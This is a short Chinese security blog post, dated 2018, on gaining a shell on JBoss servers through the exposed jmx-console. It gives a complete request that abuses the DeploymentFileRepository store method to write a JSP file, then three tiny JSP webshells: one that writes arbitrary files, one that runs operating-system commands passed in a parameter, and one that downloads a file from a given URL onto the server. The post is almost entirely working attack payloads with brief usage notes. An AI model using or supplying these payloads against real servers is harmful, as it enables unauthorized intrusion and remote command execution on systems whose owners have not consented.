jboss 本地 getshell

| 热度 | 字数统计: 278 字 | 阅读时长: 1 分

Jboss 远程部署 getshell 有时候会爆 org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter 的错误

本地 getshell 不需要远程主机, 缺点是只能写特别小的 jsp 马, 太大可能会 400 或者 no response found

1
/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=CONTENT&argType=boolean&arg4=True

把 CONTENT 替换成要写入的内容, 注意先要进行一次 url 编码

给出即个特别小的马

写 shell, 传参 ?f=test.txt&t=helloworldT

1
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

执行命令, 传参 ?i=whoami

1
<%if(request.getParameter("i")!=null){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>

下载文件, 传参 ?f=test.txt&u=http://example.com/test.txt

1
<% if(request.getParameter("u")!=null){java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();byte[] b = new byte[1024];java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());}%>

本文标题:jboss 本地 getshell

文章作者:X1r0z

发布时间:2018年08月13日

原始链接:https://exp10it.cn/2018/08/13/2018-08-13-jboss-local-getshell/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者.